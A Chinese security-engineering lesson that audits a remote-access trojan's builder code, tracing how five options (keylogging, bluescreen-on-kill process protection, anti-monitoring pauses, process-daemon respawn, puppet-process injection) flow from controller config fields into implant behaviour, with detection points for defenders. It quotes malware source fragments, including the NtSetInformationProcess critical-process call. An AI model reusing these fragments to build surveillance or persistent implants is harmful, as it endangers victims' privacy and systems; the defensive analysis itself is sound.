第 19 课:生成被控五个选项下发机制
# 第 19 课:生成被控五个选项下发机制
免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。
本课只从源码审计和企业检测角度解释五个高风险选项的配置下发链路,不提供开启、部署或规避检测的操作步骤。
# 1. 本课要解决什么问题
生成被控时,主控界面上有五个容易被新手忽略但风险很高的选项:
| 界面选项 | 配置字段 | 结构体字段 | 作用概述 |
|---|---|---|---|
| 键盘记录 | jp: | IsKeyboard | 启动后自动进入离线键盘记录逻辑 |
| 结束蓝屏 | bh: | ProtectedProcess | 修改进程保护相关状态,强制结束可能触发蓝屏风险 |
| 反查流量 | ll: | antinet | 检测特定安全监测环境时暂停或调整连接行为 |
| 进程守护 | sh: | Processdaemon | 被控消失后尝试通过守护逻辑重新拉起 |
| 傀儡进程 | kl: | puppet | 改变后续登录模块加载方式,走傀儡/远程进程链路 |
本课按“主控写配置 -> shellcode/上线模块传配置 -> 登录模块执行分支”的顺序讲。重点是读懂配置下发链路,而不是复现这些能力。

# 2. 涉及源码
| 文件 | 作用 |
|---|---|
主控\Quick\BuildDlg.cpp | 生成被控界面、五个复选框、配置模板和 m_szConfig 生成 |
主插件\上线模块\上线模块\上线模块.cpp | Analyze() 从配置字符串解析五个字段 |
主插件\上线模块\上线模块\KernelManager.h | Function 结构体定义五个开关字段 |
主插件\登录模块\登录模块\help.h | 登录模块侧同样的 Function 字段定义 |
主插件\登录模块\登录模块\登录模块.cpp | 登录模块根据字段执行守护、保护、反查流量等分支 |
主插件\登录模块\登录模块\help.cpp | 离线键盘记录、保护状态、守护线程等辅助实现 |
主插件\上线模块\上线模块\KernelManager.cpp | puppet 字段影响后续登录模块加载路径 |
# 3. 五个选项在主控界面的含义
BuildDlg.cpp 的初始化代码给每个复选框配置了提示文本。提示文本不是执行逻辑,但它清楚说明了作者设计意图。
// 源码位置:主控\Quick\BuildDlg.cpp:326-330
// 防御分析:这些 tooltip 暴露了五个开关的功能语义。
// 合规工具不应把这类高危能力隐藏成普通选项,应有明确授权、告警和审计。
m_toolTip.AddTool(GetDlgItem(IDC_CHECK_KEYBOARD),
L"勾选后,被控启动后会自动开启离线键盘记录功能。");
m_toolTip.AddTool(GetDlgItem(IDC_CHECK_PROTEXTEDPROCESS),
L"勾选后,如果被控进程被强制结束,会引起系统蓝屏;部分操作系统不生效,请慎用!");
m_toolTip.AddTool(GetDlgItem(IDC_CHECK_NET),
L"勾选后,如果被控进程所在机器上运行了某些安全监测软件,被控会自动断开连接。");
m_toolTip.AddTool(GetDlgItem(IDC_CHECK_PROCESSDAEMON),
L"勾选后,如果被控进程不存在,会启动svchost.exe进程,通过进程注入技术将被控进程重新拉起。");
m_toolTip.AddTool(GetDlgItem(IDC_CHECK_PUPPET),
L"未勾选,使用普通dll加载方式加载被控dll;勾选后,生成的被控dll可用于注入到其他进程(傀儡进程)中。");
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
这五个选项都属于高风险能力:键盘记录涉及隐私输入,结束蓝屏涉及系统稳定性,反查流量涉及对安全监测的响应,进程守护涉及持久化,傀儡进程涉及跨进程加载。后续分析只保留源码审计和检测视角。
# 4. 主控如何把选项写进配置
生成被控时,主控先从复选框读取布尔值,写入全局 g_myInfo.otherset。
// 源码位置:主控\Quick\BuildDlg.cpp:1162-1166
// 防御分析:GetCheck() 把 UI 选择转换为结构体中的 BOOL 字段。
// 这一步还没有下发,只是把界面状态转成内存配置。
g_myInfo.otherset.IsKeyboard =
(((CButton*)GetDlgItem(IDC_CHECK_KEYBOARD))->GetCheck()) ? true : false;
g_myInfo.otherset.antinet =
(((CButton*)GetDlgItem(IDC_CHECK_NET))->GetCheck()) ? true : false;
g_myInfo.otherset.Processdaemon =
(((CButton*)GetDlgItem(IDC_CHECK_PROCESSDAEMON))->GetCheck()) ? true : false;
g_myInfo.otherset.ProtectedProcess =
(((CButton*)GetDlgItem(IDC_CHECK_PROTEXTEDPROCESS))->GetCheck()) ? true : false;
g_myInfo.otherset.puppet =
(((CButton*)GetDlgItem(IDC_CHECK_PUPPET))->GetCheck()) ? true : false;
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
接着,主控把这些布尔值写入配置模板。注意字段名不是中文,而是短标记:jp、bh、ll、sh、kl。
// 源码位置:主控\Quick\BuildDlg.cpp:127
// 防御分析:confimodel 是被控配置的模板字符串。
// 五个选项最终会成为 jp/bh/ll/sh/kl 这些短字段,后续模块按字段解析。
const TCHAR confimodel[1000] = _T(
"|p1:地址1|o1:端口1|t1:通信1|"
"p2:地址2|o2:端口2|t2:通信2|"
"p3:地址3|o3:端口3|t3:通信3|"
"dd:等待|cl:重连|fz:分组|bb:版本|bz:备注|"
"jp:键盘|bh:保护|ll:流量|dl:入口|sh:守护|kl:傀儡|bd:特别|");
2
3
4
5
6
7
8
9
// 源码位置:主控\Quick\BuildDlg.cpp:1188-1197
// 防御分析:Setfindinfo 把布尔值写成 "1" 或 "0",替换模板中的中文占位符。
Setfindinfo(s, _T("键盘"), NULL, g_myInfo.otherset.IsKeyboard); // jp:1 或 jp:0
Setfindinfo(s, _T("保护"), NULL, g_myInfo.otherset.ProtectedProcess); // bh:1 或 bh:0
Setfindinfo(s, _T("流量"), NULL, g_myInfo.otherset.antinet); // ll:1 或 ll:0
Setfindinfo(s, _T("入口"), NULL, g_myInfo.otherset.RunDllEntryProc);
Setfindinfo(s, _T("守护"), NULL, g_myInfo.otherset.Processdaemon); // sh:1 或 sh:0
Setfindinfo(s, _T("傀儡"), NULL, g_myInfo.otherset.puppet); // kl:1 或 kl:0
Setfindinfo(s, _T("特别"), NULL, g_myInfo.otherset.special);
// 防御分析:源码会把配置字符串反转后复制进 m_szConfig。
// 后续上线模块 Analyze() 里会先 _tcsrev(confi) 再解析。
s.MakeReverse();
ZeroMemory(m_szConfig, 1000 * 2);
memcpy(m_szConfig, s.GetBuffer(), s.GetLength() * 2 + 2);
2
3
4
5
6
7
8
9
10
11
12
13
14
15

# 5. 配置如何跟随被控下发
第 18 课已经讲过,shellcode 生成时会把完整配置 m_szConfig 拼到代码块后面。非 shellcode 形态的 EXE/DLL 生成也会使用这份配置。也就是说,五个选项不是单独发一个包,而是作为被控配置的一部分随产物进入运行期。
主控复选框
-> g_myInfo.otherset
-> confimodel 中的 jp/bh/ll/sh/kl
-> m_szConfig
-> 被控运行期配置区
-> 上线模块 Analyze()
-> 登录模块 MyInfo.otherset
2
3
4
5
6
7
这个链路对防御侧很有价值:如果你在样本或内存中看到 jp:、bh:、ll:、sh:、kl: 这组字段,就可以反向判断生成配置里可能启用了哪些能力。
# 6. 上线模块如何解析五个选项
上线模块的 Analyze() 会从配置字符串中提取这些短字段,写入 MyInfo.otherset。
// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:147-153
// 防御分析:这里是五个选项从字符串配置进入结构体的关键入口。
// 注意字段名和主控 BuildDlg.cpp 中的 confimodel 保持一致。
Getfindinfo(confi, _T("jp:"), NULL, &(MyInfo.otherset.IsKeyboard)); // 键盘记录
Getfindinfo(confi, _T("bh:"), NULL, &(MyInfo.otherset.ProtectedProcess)); // 结束蓝屏/进程保护风险
Getfindinfo(confi, _T("ll:"), NULL, &(MyInfo.otherset.antinet)); // 反查流量
Getfindinfo(confi, _T("sh:"), NULL, &(MyInfo.otherset.Processdaemon)); // 进程守护
Getfindinfo(confi, _T("kl:"), NULL, &(MyInfo.otherset.puppet)); // 傀儡进程
2
3
4
5
6
7
8
这些字段在结构体中的定义如下。
// 源码位置:主插件\上线模块\上线模块\KernelManager.h:12-21
struct Function
{
BOOL IsKeyboard; // 防御分析:离线键盘记录开关,涉及输入隐私。
BOOL IsAntiSimulation; // 反沙箱开关,本课不展开。
BOOL ProtectedProcess; // 防御分析:进程保护/结束蓝屏风险开关。
BOOL antinet; // 防御分析:反查流量开关,影响连接前后的安全环境检测。
BOOL RunDllEntryProc; // DLL 入口运行方式开关。
BOOL Processdaemon; // 防御分析:进程守护开关,涉及重新拉起和持久化风险。
BOOL puppet; // 防御分析:傀儡进程开关,影响后续登录模块加载方式。
BOOL special;
};
2
3
4
5
6
7
8
9
10
11
12
# 7. 登录模块如何触发这些选项
上线模块把配置传下去后,登录模块也使用相同字段。登录模块侧的 Function 定义与上线模块保持一致。
// 源码位置:主插件\登录模块\登录模块\help.h:30-40
struct Function
{
BOOL IsKeyboard; // 键盘离线记录
BOOL bool0;
BOOL ProtectedProcess; // 进程保护
BOOL antinet; // 反查流量
BOOL RunDllEntryProc;
BOOL Processdaemon; // 进程守护
BOOL puppet; // 傀儡进程
BOOL special;
};
2
3
4
5
6
7
8
9
10
11
12
# 7.1 键盘记录:jp -> IsKeyboard
离线键盘记录的触发点在 help.cpp 的键盘线程逻辑里。它会检查 MyInfo.otherset.IsKeyboard,也会检查注册表开关。
// 源码位置:主插件\登录模块\登录模块\help.cpp:310-337
BOOL GetOpenKeyLoggerReg()
{
TCHAR tc_temp[50] = {};
// 防御分析:注册表 key/open 也可以影响离线键盘记录是否开启。
if (ReadRegEx(HKEY_CURRENT_USER, _T("key"), _T("open"), REG_SZ,
tc_temp, NULL, lstrlen(tc_temp) * sizeof(TCHAR), 2))
{
if (!lstrcmp(tc_temp, _T("1")))
return TRUE;
}
return FALSE;
}
// 防御分析:IsKeyboard 来自主控生成配置中的 jp 字段。
// 这类输入采集能力必须在企业环境中作为隐私高风险行为处理。
if (MyInfo.otherset.IsKeyboard || GetOpenKeyLoggerReg())
{
if (!Input::initialize(GetConsoleWindow(), GetModuleHandle(NULL)))
return 0;
Input::savekerboard();
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 7.2 结束蓝屏:bh -> ProtectedProcess
源码注释直说“进程无法手动结束,不然蓝屏”。实现上会调用 CallNtSetinformationProcess(),而辅助函数中使用 NtSetInformationProcess 设置特定进程信息类。
// 源码位置:主插件\登录模块\登录模块\登录模块.cpp:160-163
// 防御分析:ProtectedProcess 来自主控配置中的 bh 字段。
// 该行为可能导致系统稳定性风险,企业侧应直接列为高危能力。
if (MyInfo.otherset.ProtectedProcess)
CallNtSetinformationProcess();
2
3
4
5
// 源码位置:主插件\登录模块\登录模块\help.cpp:1172-1176
HANDLE hProcess;
ULONG Flag = 1;
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, _getpid());
// 防御分析:源码注释说明 29 代表系统会触发 bugcheck(蓝屏)。
// 本课只说明风险和检测点,不提供任何可操作复现步骤。
NtSetInformationProcess(hProcess, (PROCESS_INFORMATION_CLASS)29, &Flag, sizeof(ULONG));
2
3
4
5
6
7
8
# 7.3 反查流量:ll -> antinet
反查流量会影响连接前和连接过程中的判断。源码中多处检查 MyInfo.otherset.antinet。
// 源码位置:主插件\登录模块\登录模块\登录模块.cpp:227-230
// 防御分析:antinet 来自主控配置中的 ll 字段。
// AntiCheck() 表示对安全监测环境的检查,本课不展开检测规避细节,只标出触发链路。
if (MyInfo.otherset.antinet)
{
while (AntiCheck())
Sleep(20000);
}
2
3
4
5
6
7
8
// 源码位置:主插件\登录模块\登录模块\登录模块.cpp:276-301
HANDLE hThread_anticheck;
if (MyInfo.otherset.antinet)
{
// 防御分析:连接建立后还会启动反查流量线程。
// 企业侧可把该线程创建和连接状态变化关联起来。
hThread_anticheck = (HANDLE)_beginthreadex(NULL, 0, AntiCheckThread, (LPVOID)&manager, 0, NULL);
}
if (!manager.IsActived())
{
socketClient->Disconnect();
if (MyInfo.otherset.antinet)
{
WaitForSingleObject(hThread_anticheck, INFINITE);
CloseHandle(hThread_anticheck);
}
Sleep(1000);
continue;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 7.4 进程守护:sh -> Processdaemon
进程守护在登录模块启动后较早触发。它会创建守护相关线程。
// 源码位置:主插件\登录模块\登录模块\登录模块.cpp:153-158
// 防御分析:Processdaemon 来自主控配置中的 sh 字段。
// 守护逻辑涉及重新拉起和持久化风险,不应在未授权环境运行。
if (MyInfo.otherset.Processdaemon)
{
PROCESS_INFORMATION* pi = new PROCESS_INFORMATION;
CloseHandle((HANDLE)_beginthreadex(NULL, 0, loactThreadProc, pi, 0, NULL));
}
2
3
4
5
6
7
8
# 7.5 傀儡进程:kl -> puppet
傀儡进程的字段先在上线模块连接成功后传入 CKernelManager。
// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:245
// 防御分析:puppet 字段来自配置中的 kl。
// 它不只是普通开关,而是会影响后续登录模块加载路径。
CKernelManager manager(socketClient, MyInfo.otherset.puppet);
2
3
4
KernelManager 内部根据 m_bpuppet 选择不同加载路径。
// 源码位置:主插件\上线模块\上线模块\KernelManager.cpp:36-45
if (pThis->m_bpuppet)
{
PROCESS_INFORMATION pi = {};
while (true)
{
// 防御分析:傀儡模式会尝试构建远程进程并把登录模块数据放进去。
// 这是高风险跨进程加载链路,本课只用于识别和检测。
if (buildremoteprocess((byte*)g_loginDllData, g_dllSendData.DataSize, &pi))
{
bool brun = true;
// 后续监视远程进程生命周期。
}
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15

# 8. 企业检测点
| 选项 | 主机侧检测点 | 源码线索 |
|---|---|---|
| 键盘记录 | 输入 Hook、键盘记录文件、注册表 key/open | IsKeyboard、Input::initialize、Input::savekerboard |
| 结束蓝屏 | NtSetInformationProcess、异常进程保护行为、蓝屏事件 | ProtectedProcess、CallNtSetinformationProcess |
| 反查流量 | 连接前等待、检测安全工具、异常线程 | antinet、AntiCheck、AntiCheckThread |
| 进程守护 | 守护线程、重新拉起、异常 svchost.exe 进程链 | Processdaemon、loactThreadProc |
| 傀儡进程 | 跨进程加载、远程进程、登录模块数据注入 | puppet、buildremoteprocess |
# 9. 合法练习题
- 只做静态阅读:把
BuildDlg.cpp:1162-1197中五个复选框字段和配置短字段画成表格。 - 在
上线模块.cpp中找到jp/bh/ll/sh/kl的解析位置,说明它们如何进入MyInfo.otherset。 - 不运行任何代码:列出
ProtectedProcess在源码中触发的函数名,并说明为什么它属于系统稳定性风险。 - 从检测角度说明:为什么
Processdaemon和puppet都要关注进程链和跨进程行为。
# 10. 本课小结
这五个生成选项的本质都是配置字段:主控从复选框读取布尔值,写进 confimodel,形成 jp/bh/ll/sh/kl 字段,再随被控配置进入上线模块和登录模块。企业安全分析时,不要只看界面文字,而要追踪字段如何下发、如何解析、在哪里触发行为。
安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。
本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。
社区交流
讨论与留言